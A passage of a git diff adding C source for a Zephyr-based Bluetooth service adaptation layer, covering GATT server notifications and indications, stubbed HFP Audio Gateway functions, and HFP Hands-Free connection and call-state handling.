+ + bt_gatt_notify_cb(context->conn, ¶ms); + + return BT_GATT_ITER_STOP; +} + +bt_status_t bt_sal_gatt_server_send_notification(bt_controller_id_t id, bt_address_t* addr, gatt_element_t* element, uint8_t* value, uint16_t length) +{ + struct gatt_server_context context = { + .addr = addr, + .uuid = &element->uuid, + .value = value, + .length = length, + .element = element, + }; + + context.conn = get_le_conn_from_addr(addr); + if (!context.conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + bt_gatt_foreach_attr(0x0001, 0xffff, gatt_send_notification, (void*)&context); + return BT_STATUS_SUCCESS; +} + +static void send_indication_destory(struct bt_gatt_indicate_params* params) +{ + BT_LOGD("%s", __func__); + free(params); +} + +static void send_indication_result(struct bt_conn* conn, struct bt_gatt_indicate_params* params, uint8_t err) +{ + struct gatt_user_data* user_data; + gatt_element_t* element; + bt_address_t addr; + bt_status_t status = GATT_STATUS_SUCCESS; + + if (!params || !params->attr || !params->attr->user_data) { + BT_LOGE("%s, params or attr is NULL", __func__); + return; + } + + user_data = (struct gatt_user_data*)params->attr->user_data; + element = (gatt_element_t*)user_data->element; + + if (!element) { + BT_LOGE("%s, element is NULL", __func__); + return; + } + + get_le_addr_from_conn(conn, &addr); + + if (err) { + BT_LOGE("%s, send indication failed for handle:0x%04x", __func__, element->handle); + status = GATT_STATUS_FAILURE; + } + + if_gatts_on_notification_sent(&addr, element->handle, status); +} + +static uint8_t gatt_send_indication(const struct bt_gatt_attr* attr, uint16_t handle, void* user_data) +{ + struct gatt_server_context* context = user_data; + union uuid u; + struct bt_gatt_indicate_params* params; + int ret; + + if (!bt_uuid_create(&u.uuid, (uint8_t*)&context->uuid->val, context->uuid->type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return BT_GATT_ITER_STOP; + } + + if (bt_uuid_cmp(attr->uuid, &u.uuid)) { + return BT_GATT_ITER_CONTINUE; + } + + params = zalloc(sizeof(struct bt_gatt_indicate_params)); + if (!params) { + BT_LOGE("%s, zalloc fail", __func__); + return BT_GATT_ITER_STOP; + } + + params->attr = attr; + params->data = context->value; + params->len = context->length; + params->func = send_indication_result; + params->destroy = send_indication_destory; + ret = bt_gatt_indicate(context->conn, params); + if (ret) { + BT_LOGE("%s, indicate fail err:%d", __func__, ret); + } + + return BT_GATT_ITER_STOP; +} + +bt_status_t bt_sal_gatt_server_send_indication(bt_controller_id_t id, bt_address_t* addr, gatt_element_t* element, uint8_t* value, uint16_t length) +{ + struct gatt_server_context context = { + .addr = addr, + .uuid = &element->uuid, + .value = value, + .length = length, + .element = element, + }; + + context.conn = get_le_conn_from_addr(addr); + if (!context.conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + bt_gatt_foreach_attr(0x0001, 0xffff, gatt_send_indication, (void*)&context); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_server_read_phy(bt_controller_id_t id, bt_address_t* addr) +{ +#if defined(CONFIG_BT_USER_PHY_UPDATE) + struct bt_conn* conn; + struct bt_conn_info info; + int ret; + ble_phy_type_t tx_mode; + ble_phy_type_t rx_mode; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + ret = bt_conn_get_info(conn, &info); + if (ret) { + BT_LOGE("%s, conn get info err:%d", __func__, ret); + return BT_STATUS_FAIL; + } + + tx_mode = le_phy_convert_from_stack(info.le.phy->tx_phy); + rx_mode = le_phy_convert_from_stack(info.le.phy->rx_phy); + + BT_LOGD("%s, tx phy:%d, rx phy:%d", __func__, tx_mode, rx_mode); + if_gatts_on_phy_read(addr, tx_mode, rx_mode); + + return BT_STATUS_SUCCESS; +#else + SAL_NOT_SUPPORT; +#endif +} + +bt_status_t bt_sal_gatt_server_set_phy(bt_controller_id_t id, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + return bt_sal_le_set_phy(id, addr, tx_phy, rx_phy); +} + +void bt_sal_gatt_server_connection_state_changed_callback(bt_controller_id_t id, bt_address_t* addr, profile_connection_state_t state) +{ + if_gatts_on_connection_state_changed(addr, state); +} + +#endif /* CONFIG_BLUETOOTH_GATT_SERVER */ diff --git a/service/stacks/zephyr/sal_hfp_ag_interface.c b/service/stacks/zephyr/sal_hfp_ag_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..332ad75e33198ed1c2225cab6ed39cf0b5b9ae9d --- /dev/null +++ b/service/stacks/zephyr/sal_hfp_ag_interface.c @@ -0,0 +1,217 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "sal_hfp_ag_interface.h" +#include "bt_debug.h" +#include "sal_connection_manager.h" +#include "sal_interface.h" +#include "sal_zblue.h" + +#undef BT_UUID_DECLARE_16 +#undef BT_UUID_DECLARE_32 +#undef BT_UUID_DECLARE_128 + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/classic/hfp_ag.h> +#include <zephyr/bluetooth/classic/sdp.h> + +static struct bt_hfp_ag_cb g_hfp_ag_cb = { + .connected = NULL, + .disconnected = NULL, + .sco_connected = NULL, + .sco_disconnected = NULL, + .get_ongoing_call = NULL, + .memory_dial = NULL, + .number_call = NULL, + .outgoing = NULL, + .incoming = NULL, + .incoming_held = NULL, + .ringing = NULL, + .accept = NULL, + .held = NULL, + .retrieve = NULL, + .reject = NULL, + .terminate = NULL, + .codec = NULL, + .codec_negotiate = NULL, + .audio_connect_req = NULL, + .vgm = NULL, + .vgs = NULL, + .ecnr_turn_off = NULL, + .explicit_call_transfer = NULL, + .voice_recognition = NULL, + .ready_to_accept_audio = NULL, + .request_phone_number = NULL, + .transmit_dtmf_code = NULL, + .subscriber_number = NULL, + .hf_indicator_value = NULL, +}; + +bt_status_t bt_sal_hfp_ag_init(uint32_t features, uint8_t max_connection) +{ + (void)features; + (void)max_connection; + return BT_STATUS_UNSUPPORTED; +} + +void bt_sal_hfp_ag_cleanup(void) +{ + return; +} + +bt_status_t bt_sal_hfp_ag_connect(bt_address_t* addr) +{ + (void)addr; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_disconnect(bt_address_t* addr) +{ + (void)addr; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_connect_audio(bt_address_t* addr) +{ + (void)addr; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_disconnect_audio(bt_address_t* addr) +{ + (void)addr; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_start_voice_recognition(bt_address_t* addr) +{ + (void)addr; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_stop_voice_recognition(bt_address_t* addr) +{ + (void)addr; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_phone_state_change(bt_address_t* addr, uint8_t num_active, + uint8_t num_held, hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name) +{ + (void)num_active; + (void)num_held; + (void)call_state; + (void)type; + (void)number; + (void)name; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_cind_response(bt_address_t* addr, hfp_ag_cind_resopnse_t* response) +{ + (void)addr; + (void)response; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_clcc_response(bt_address_t* addr, uint32_t index, + hfp_call_direction_t dir, hfp_ag_call_state_t call, hfp_call_mode_t mode, + hfp_call_mpty_type_t mpty, hfp_call_addrtype_t type, const char* number) +{ + (void)addr; + (void)index; + (void)dir; + (void)call; + (void)mode; + (void)mpty; + (void)type; + (void)number; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_dial_response(bt_address_t* addr, hfp_atcmd_result_t result) +{ + (void)addr; + (void)result; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_cops_response(bt_address_t* addr, const char* operator_name, uint16_t length) +{ + (void)addr; + (void)operator_name; + (void)length; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_notify_device_status_changed(bt_address_t* addr, hfp_network_state_t network, + hfp_roaming_state_t roam, uint8_t signal, uint8_t battery) +{ + (void)addr; + (void)network; + (void)roam; + (void)signal; + (void)battery; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_set_inband_ring_enable(bt_address_t* addr, bool enable) +{ + (void)addr; + (void)enable; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_set_volume(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + (void)addr; + (void)type; + (void)volume; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_send_at_cmd(bt_address_t* addr, const char* atcmd, uint16_t length) +{ + (void)addr; + (void)atcmd; + (void)length; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_manufacture_id_response(bt_address_t* addr, + const char* manufacturer_id, + uint16_t length) +{ + (void)addr; + (void)manufacturer_id; + (void)length; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_model_id_response(bt_address_t* addr, const char* model_id, uint16_t length) +{ + (void)addr; + (void)model_id; + (void)length; + return BT_STATUS_UNSUPPORTED; +} + +bt_status_t bt_sal_hfp_ag_error_response(bt_address_t* addr, hfp_atcmd_result_t result) +{ + (void)addr; + (void)result; + return BT_STATUS_UNSUPPORTED; +} diff --git a/service/stacks/zephyr/sal_hfp_hf_interface.c b/service/stacks/zephyr/sal_hfp_hf_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..a93286eca7e6ce2bb3b749d5671164b1fc51043a --- /dev/null +++ b/service/stacks/zephyr/sal_hfp_hf_interface.c @@ -0,0 +1,1339 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "sal_hfp_hf_interface.h" +#include "sal_connection_manager.h" +#include "sal_interface.h" +#include "sal_zblue.h" + +#include "bt_debug.h" +#include "bt_list.h" +#include "service_loop.h" +#include <errno.h> +#include <inttypes.h> +#include <stdio.h> +#include <string.h> + +#undef BT_UUID_DECLARE_16 +#undef BT_UUID_DECLARE_32 +#undef BT_UUID_DECLARE_128 + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/classic/hfp_hf.h> +#include <zephyr/bluetooth/classic/sdp.h> + +static bt_list_t* g_sal_hf_conn_list = NULL; + +extern struct net_buf_pool sdp_pool; + +static uint8_t zblue_on_sdp_done(struct bt_conn* conn, struct bt_sdp_client_result* result, const struct bt_sdp_discover_params* ignore); + +static struct bt_sdp_discover_params sdp_discover = { + .func = zblue_on_sdp_done, + .pool = &sdp_pool, + .uuid = BT_UUID_DECLARE_16(BT_SDP_HANDSFREE_AGW_SVCLASS), + .type = BT_SDP_DISCOVER_SERVICE_SEARCH_ATTR +}; + +typedef struct _hf_connect_params { + uint8_t channel; +} hf_connect_params_t; + +static hf_connect_params_t* g_conn_params = NULL; + +typedef struct _bt_hfp_hf_call_info { + uint8_t index; + uint8_t type; + hfp_hf_call_state_t state; + struct bt_hfp_hf_call* context; +} bt_hfp_hf_call_info_t; + +typedef struct _bt_hfp_hf_connection { + bt_address_t addr; + struct bt_conn* conn; + struct bt_conn* sco_conn; + bt_list_t* calls; + struct bt_hfp_hf* hf; + hfp_callsetup_t callsetup_state; + hfp_call_t call_state; + hfp_callheld_t held_state; +} bt_hfp_hf_connection_t; + +static void free_connection(void* data) +{ + bt_hfp_hf_connection_t* sal_conn = (bt_hfp_hf_connection_t*)data; + if (sal_conn->calls) { + bt_list_free(sal_conn->calls); + } + + free(sal_conn); + return; +} + +static void free_call(void* data) +{ + bt_hfp_hf_call_info_t* sal_call = (bt_hfp_hf_call_info_t*)data; + free(sal_call); +} + +static bool sal_conn_hf_cmp(void* data, void* context) +{ + bt_hfp_hf_connection_t* sal_conn = (bt_hfp_hf_connection_t*)data; + struct bt_hfp_hf* hf = (struct bt_hfp_hf*)context; + return sal_conn->hf == hf; +} + +static bool sal_conn_addr_cmp(void* sal_context, void* context) +{ + bt_hfp_hf_connection_t* sal_conn = (bt_hfp_hf_connection_t*)sal_context; + bt_address_t* addr = (bt_address_t*)context; + return !bt_addr_compare(&sal_conn->addr, addr); +} + +static bool sal_call_context_cmp(void* sal_context, void* z_context) +{ + bt_hfp_hf_call_info_t* sal_call = (bt_hfp_hf_call_info_t*)sal_context; + struct bt_hfp_hf_call* call = (struct bt_hfp_hf_call*)z_context; + return sal_call->context == call; +} + +static bt_hfp_hf_call_info_t* find_call_by_context(bt_hfp_hf_connection_t* sal_conn, struct bt_hfp_hf_call* z_context) +{ + if (!sal_conn->calls) { + BT_LOGE("%s, calls is NULL", __func__); + } + + bt_list_t* call_list = sal_conn->calls; + + return (bt_hfp_hf_call_info_t*)bt_list_find(call_list, sal_call_context_cmp, z_context); +} + +static bt_hfp_hf_call_info_t* find_call_by_state(bt_hfp_hf_connection_t* sal_conn, hfp_hf_call_state_t state) +{ + bt_list_node_t* node; + + if (!sal_conn || !sal_conn->calls) { + return NULL; + } + + for (node = bt_list_head(sal_conn->calls); node != NULL; node = bt_list_next(sal_conn->calls, node)) { + bt_hfp_hf_call_info_t* sal_call = bt_list_node(node); + if (sal_call->state == state) { + return sal_call; + } + } + + return NULL; +} + +static bt_hfp_hf_call_info_t* find_call_by_index(bt_hfp_hf_connection_t* conn, uint8_t index) +{ + bt_list_node_t* node; + + if (!conn || !conn->calls || index == 0) { + return NULL; + } + + for (node = bt_list_head(conn->calls); node != NULL; node = bt_list_next(conn->calls, node)) { + bt_hfp_hf_call_info_t* sal_call = bt_list_node(node); + if (sal_call->index == index) { + return sal_call; + } + } + return NULL; +} + +static int count_call(bt_hfp_hf_connection_t* conn) +{ + if (!conn || !conn->calls) { + return -EINVAL; + } + + return bt_list_length(conn->calls); +} + +static bt_hfp_hf_call_info_t* new_call() +{ + bt_hfp_hf_call_info_t* call = (bt_hfp_hf_call_info_t*)zalloc(sizeof(bt_hfp_hf_call_info_t)); + if (!call) { + BT_LOGE("%s, failed to allocate call entry", __func__); + return NULL; + } + + call->state = HFP_HF_CALL_STATE_DISCONNECTED; + return call; +} + +static bt_hfp_hf_call_info_t* find_or_create_call(bt_hfp_hf_connection_t* sal_conn, struct bt_hfp_hf_call* z_context) +{ + if (!sal_conn || !sal_conn->calls) { + return NULL; + } + + bt_hfp_hf_call_info_t* call = find_call_by_context(sal_conn, z_context); + if (call) { + return call; + } + + call = new_call(z_context); + if (!call) { + return NULL; + } + + call->context = z_context; + + bt_list_add_tail(sal_conn->calls, call); + return call; +} + +static int remove_call(bt_hfp_hf_connection_t* sal_conn, bt_hfp_hf_call_info_t* sal_call) +{ + if (!sal_conn || !sal_conn->calls || !sal_call) { + return -EINVAL; + } + + bt_list_remove(sal_conn->calls, sal_call); + return 0; +} + +static bt_hfp_hf_connection_t* find_connection_by_call_context( + struct bt_hfp_hf_call* z_context, + bt_hfp_hf_call_info_t** call_info) +{ + bt_list_node_t* node; + + if (!g_sal_hf_conn_list || !z_context) { + return NULL; + } + + for (node = bt_list_head(g_sal_hf_conn_list); node != NULL; node = bt_list_next(g_sal_hf_conn_list, node)) { + bt_hfp_hf_connection_t* conn = bt_list_node(node); + + if (!conn || !conn->calls) { + continue; + } + + bt_hfp_hf_call_info_t* sal_call = find_call_by_context(conn, z_context); + if (sal_call) { + if (call_info) { + *call_info = sal_call; + } + return conn; + } + } + + return NULL; +} + +static inline bt_hfp_hf_connection_t* find_connection_by_addr(bt_address_t* addr) +{ + return (bt_hfp_hf_connection_t*)bt_list_find(g_sal_hf_conn_list, sal_conn_addr_cmp, addr); +} + +static inline bt_hfp_hf_connection_t* find_connection_by_hf(struct bt_hfp_hf* hf) +{ + return (bt_hfp_hf_connection_t*)bt_list_find(g_sal_hf_conn_list, sal_conn_hf_cmp, hf); +} + +static bt_hfp_hf_connection_t* find_connection_by_sco(struct bt_conn* sco) +{ + bt_list_node_t* node; + + if (!g_sal_hf_conn_list || !sco) { + return NULL; + } + + for (node = bt_list_head(g_sal_hf_conn_list); node != NULL; node = bt_list_next(g_sal_hf_conn_list, node)) { + bt_hfp_hf_connection_t* conn = bt_list_node(node); + if (conn && conn->sco_conn == sco) { + return conn; + } + } + + return NULL; +} + +static bt_hfp_hf_connection_t* new_hf_connection(struct bt_conn* conn, struct bt_hfp_hf* hf) +{ + bt_hfp_hf_connection_t* sal_conn = (bt_hfp_hf_connection_t*)zalloc(sizeof(bt_hfp_hf_connection_t)); + + if (!sal_conn) { + BT_LOGE("%s, malloc failed", __func__); + return NULL; + } + + bt_sal_get_remote_address(conn, &sal_conn->addr); + sal_conn->conn = conn; + sal_conn->hf = hf; + + sal_conn->calls = bt_list_new(free_call); + sal_conn->callsetup_state = HFP_CALLSETUP_NONE; + sal_conn->call_state = HFP_CALL_NO_CALLS_IN_PROGRESS; + sal_conn->held_state = HFP_CALLHELD_NONE; + + bt_list_add_tail(g_sal_hf_conn_list, sal_conn); + + return sal_conn; +} + +static void set_call_state( + bt_hfp_hf_connection_t* sal_conn, + bt_hfp_hf_call_info_t* sal_call, + hfp_hf_call_state_t state) +{ + if (!sal_call) { + return; + } + + sal_call->state = state; +} + +static bt_status_t do_hf_connect(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + struct bt_hfp_hf* hf = NULL; + uint8_t channel; + + /** It is assumed that ACL is established hereafter */ + if (!addr) { + BT_LOGE("%s, addr is NULL", __func__); + return BT_STATUS_PARM_INVALID; + } + + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + /** Remeber to unref @p conn once SLC is initiated or cancelled */ + if (!conn) { + BT_LOGE("%s, Failed to lookup connection", __func__); + return BT_STATUS_NOT_FOUND; + } + + /** Step 1: SDP discovery */ + if (g_conn_params == NULL) { + BT_LOGD("%s, SDP not discovered", __func__); + if (bt_sdp_discover(conn, &sdp_discover) < 0) { + BT_LOGE("%s, Failed to start a SDP discovery", __func__); + bt_conn_unref(conn); + return BT_STATUS_FAIL; + } + + bt_conn_unref(conn); + return BT_STATUS_SUCCESS; + } + + /** Step 2: SLC initiating */ + channel = g_conn_params->channel; + free(g_conn_params); + g_conn_params = NULL; + + BT_LOGD("%s, SLC initiating", __func__); + if (Z_API(bt_hfp_hf_connect)(conn, &hf, channel)) { + BT_LOGE("%s, Failed to initiate HFP HF connection", __func__); + bt_conn_unref(conn); + return BT_STATUS_FAIL; + } + + if (new_hf_connection(conn, hf) == NULL) { + BT_LOGE("%s, Failed to create HFP HF connection", __func__); + if (Z_API(bt_hfp_hf_disconnect)(hf)) { + BT_LOGE("%s, Failed to disconnect HFP HF connection", __func__); + } + bt_conn_unref(conn); + return BT_STATUS_NOMEM; + } + + hfp_hf_on_connection_state_changed(addr, PROFILE_STATE_CONNECTING, 0, 0); + bt_conn_unref(conn); + + BT_LOGD("%s, HFP HF connecting", __func__); + return BT_STATUS_SUCCESS; +} + +bt_status_t do_hf_disconnect(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_FAIL; + } + if (!sal_conn->hf) { + BT_LOGE("%s, HFP HF not connected", __func__); + return BT_STATUS_FAIL; + } + + SAL_CHECK_RET(Z_API(bt_hfp_hf_disconnect)(sal_conn->hf), 0); + return BT_STATUS_SUCCESS; +} + +static uint8_t zblue_on_sdp_done(struct bt_conn* conn, struct bt_sdp_client_result* result, + const struct bt_sdp_discover_params* ignore) +{ + int err; + uint16_t port; + + bt_address_t bd_addr; + if (bt_sal_get_remote_address(conn, &bd_addr) != BT_STATUS_SUCCESS) { + return BT_SDP_DISCOVER_UUID_STOP; + } + + if (!result) { + BT_LOGE("%s, remote device does not support HFP AG feature", __func__); + goto error; + } + + if (!result->resp_buf) { + BT_LOGE("%s, resp_buf is null", __func__); + goto error; + } + + err = bt_sdp_get_proto_param(result->resp_buf, BT_SDP_PROTO_RFCOMM, &port); + + if (err) { + BT_LOGE("Fail to parse HF RFCOMM port!"); + goto error; + } + + BT_LOGD("%s, SDP discovery done for HFP HF, HF RFCOMM port: %u", __func__, port); + + if (g_conn_params != NULL) { + BT_LOGE("%s, Previous connection ongoing", __func__); + goto error; + } + + /** TODO: remove @p g_conn_params, send @p port as a context to + * @ref bt_sal_profile_connect_request */ + g_conn_params = (hf_connect_params_t*)zalloc(sizeof(hf_connect_params_t)); + if (g_conn_params == NULL) { + BT_LOGE("%s, Failed to allocate memory for new HFP HF connection", __func__); + goto error; + } + + g_conn_params->channel = (uint8_t)port; + + if (do_hf_connect(0 /* bt_controller_id_t */, &bd_addr, NULL) != BT_STATUS_SUCCESS) { + free(g_conn_params); + g_conn_params = NULL; + goto error; + } + + return BT_SDP_DISCOVER_UUID_STOP; + +error: + hfp_hf_on_connection_state_changed(&bd_addr, PROFILE_STATE_DISCONNECTED, 0, 0); + bt_sal_cm_profile_disconnected_callback(&bd_addr, PROFILE_HFP_HF, CONN_ID_DEFAULT); + return BT_SDP_DISCOVER_UUID_STOP; +} + +static void zblue_on_connected(struct bt_conn* conn, struct bt_hfp_hf* hf) +{ + bt_address_t bd_addr; + + if (bt_sal_get_remote_address(conn, &bd_addr) != BT_STATUS_SUCCESS) { + return; + } + + if (!find_connection_by_addr(&bd_addr)) { + if (!new_hf_connection(conn, hf)) { + BT_LOGE("%s, Failed to create HFP HF connection", __func__); + if (Z_API(bt_hfp_hf_disconnect)(hf)) { + BT_LOGE("%s, Failed to disconnect HFP HF connection", __func__); + } + return; + } + + hfp_hf_on_connection_state_changed(&bd_addr, PROFILE_STATE_CONNECTING, 0, 0); + } + bt_sal_cm_profile_connected_callback(&bd_addr, PROFILE_HFP_HF, CONN_ID_DEFAULT); + bt_sal_profile_disconnect_register(&bd_addr, PROFILE_HFP_HF, CONN_ID_DEFAULT, PRIMARY_ADAPTER, do_hf_disconnect, NULL); + + hfp_hf_on_connection_state_changed(&bd_addr, PROFILE_STATE_CONNECTED, 0, 0); +} + +static void zblue_hf_disconnected(struct bt_hfp_hf* hf) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + bt_address_t* bd_addr = &conn->addr; + + hfp_hf_on_connection_state_changed(bd_addr, PROFILE_STATE_DISCONNECTING, 0, 0); + hfp_hf_on_connection_state_changed(bd_addr, PROFILE_STATE_DISCONNECTED, 0, 0); + bt_sal_cm_profile_disconnected_callback(bd_addr, PROFILE_HFP_HF, CONN_ID_DEFAULT); + + bt_list_remove(g_sal_hf_conn_list, conn); +} + +static void zblue_on_sco_connected(struct bt_hfp_hf* hf, struct bt_conn* sco_conn) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection for SCO", __func__); + return; + } + + conn->sco_conn = sco_conn; + + hfp_hf_on_audio_connection_state_changed(&conn->addr, HFP_AUDIO_STATE_CONNECTED, 0); +} + +static void zblue_on_sco_disconnected(struct bt_conn* sco_conn, uint8_t reason) +{ + (void)reason; + bt_hfp_hf_connection_t* conn = find_connection_by_sco(sco_conn); + if (!conn) { + BT_LOGW("%s, Failed to find connection for SCO disconn", __func__); + return; + } + + hfp_hf_on_audio_connection_state_changed(&conn->addr, HFP_AUDIO_STATE_DISCONNECTED, 0); + + conn->sco_conn = NULL; +} + +static void zblue_on_outgoing_call(struct bt_hfp_hf* hf, struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_hf(hf); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + bt_hfp_hf_call_info_t* sal_call = find_or_create_call(sal_conn, call); + if (!sal_call) { + BT_LOGE("%s, Failed to track outgoing call", __func__); + return; + } + + set_call_state(sal_conn, sal_call, HFP_HF_CALL_STATE_DIALING); + hfp_hf_on_call_setup_state_changed(&sal_conn->addr, HFP_CALLSETUP_OUTGOING); +} + +static void zblue_on_incoming_call(struct bt_hfp_hf* hf, struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_hf(hf); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + bt_hfp_hf_call_info_t* sal_call = find_or_create_call(sal_conn, call); + if (!sal_call) { + BT_LOGE("%s, Failed to track incoming call", __func__); + return; + } + + set_call_state(sal_conn, sal_call, HFP_HF_CALL_STATE_INCOMING); + hfp_hf_on_call_setup_state_changed(&sal_conn->addr, HFP_CALLSETUP_INCOMING); +} + +static void zblue_on_remote_ringing(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + bt_hfp_hf_connection_t* conn = find_connection_by_call_context(call, &sal_call); + + if (!conn) { + BT_LOGW("%s, Failed to find connection for remote ringing", __func__); + return; + } + + if (sal_call) { + set_call_state(conn, sal_call, HFP_HF_CALL_STATE_ALERTING); + } + + hfp_hf_on_call_setup_state_changed(&conn->addr, HFP_CALLSETUP_ALERTING); +} + +static void zblue_on_call_accept(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + bt_hfp_hf_connection_t* conn = find_connection_by_call_context(call, &sal_call); + + if (!conn || !sal_call) { + BT_LOGW("%s, Failed to find call to accept", __func__); + return; + } + + set_call_state(conn, sal_call, HFP_HF_CALL_STATE_ACTIVE); + hfp_hf_on_call_active_state_changed(&conn->addr, HFP_CALL_CALLS_IN_PROGRESS); + hfp_hf_on_call_setup_state_changed(&conn->addr, HFP_CALLSETUP_NONE); +} + +static void zblue_on_call_reject(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + bt_hfp_hf_connection_t* sal_conn = find_connection_by_call_context(call, &sal_call); + + if (!sal_conn || !sal_call) { + BT_LOGW("%s, Failed to find call to reject", __func__); + return; + } + + remove_call(sal_conn, sal_call); + hfp_hf_on_call_setup_state_changed(&sal_conn->addr, HFP_CALLSETUP_NONE); +} + +static void zblue_on_call_terminate(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + bt_hfp_hf_connection_t* sal_conn = find_connection_by_call_context(call, &sal_call); + + if (!sal_conn || !sal_call) { + BT_LOGW("%s, Failed to find call to terminate", __func__); + return; + } + + if (sal_call->state == HFP_HF_CALL_STATE_ACTIVE) { + hfp_hf_on_call_active_state_changed(&sal_conn->addr, HFP_CALL_NO_CALLS_IN_PROGRESS); + } else if (sal_call->state == HFP_HF_CALL_STATE_HELD) { + hfp_hf_on_call_held_state_changed(&sal_conn->addr, HFP_CALLHELD_NONE); + } else { + BT_LOGW("Unknow previous state %d.", sal_call->state); + } + + remove_call(sal_conn, sal_call); +} + +static void zblue_on_call_held(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + bt_hfp_hf_connection_t* sal_conn = find_connection_by_call_context(call, &sal_call); + + if (!sal_conn || !sal_call) { + BT_LOGW("%s, Failed to find call to hold", __func__); + return; + } + + hfp_hf_on_call_held_state_changed(&sal_conn->addr, HFP_CALLHELD_HELD); + + if (sal_call->state == HFP_HF_CALL_STATE_ACTIVE) { + hfp_hf_on_call_active_state_changed(&sal_conn->addr, HFP_CALL_NO_CALLS_IN_PROGRESS); + } else { + BT_LOGW("Unexpected previous state %d.", sal_call->state); + } + + set_call_state(sal_conn, sal_call, HFP_HF_CALL_STATE_HELD); +} + +static void zblue_on_call_retrieve(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + bt_hfp_hf_connection_t* sal_conn = find_connection_by_call_context(call, &sal_call); + + if (!sal_conn || !sal_call) { + BT_LOGW("%s, Failed to find call to retrieve", __func__); + return; + } + + if (sal_call->state == HFP_HF_CALL_STATE_HELD) { + hfp_hf_on_call_held_state_changed(&sal_conn->addr, HFP_CALLHELD_NONE); + } else { + BT_LOGW("Unexpected previous state %d.", sal_call->state); + } + + hfp_hf_on_call_active_state_changed(&sal_conn->addr, HFP_CALL_CALLS_IN_PROGRESS); + + set_call_state(sal_conn, sal_call, HFP_HF_CALL_STATE_ACTIVE); +} + +static void zblue_on_subscriber_number(struct bt_hfp_hf* hf, const char* number, uint8_t type, uint8_t service) +{ + bt_address_t* bd_addr = zalloc(sizeof(bt_address_t)); + + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + hfp_subscriber_number_service_t fw_service = 0; + switch (service) { + case 4: + fw_service = HFP_HF_SERVICE_VOICE; + break; + case 5: + fw_service = HFP_HF_SERVICE_FAX; + break; + default: + BT_LOGW("%s, Unknown service: %d", __func__, service); + break; 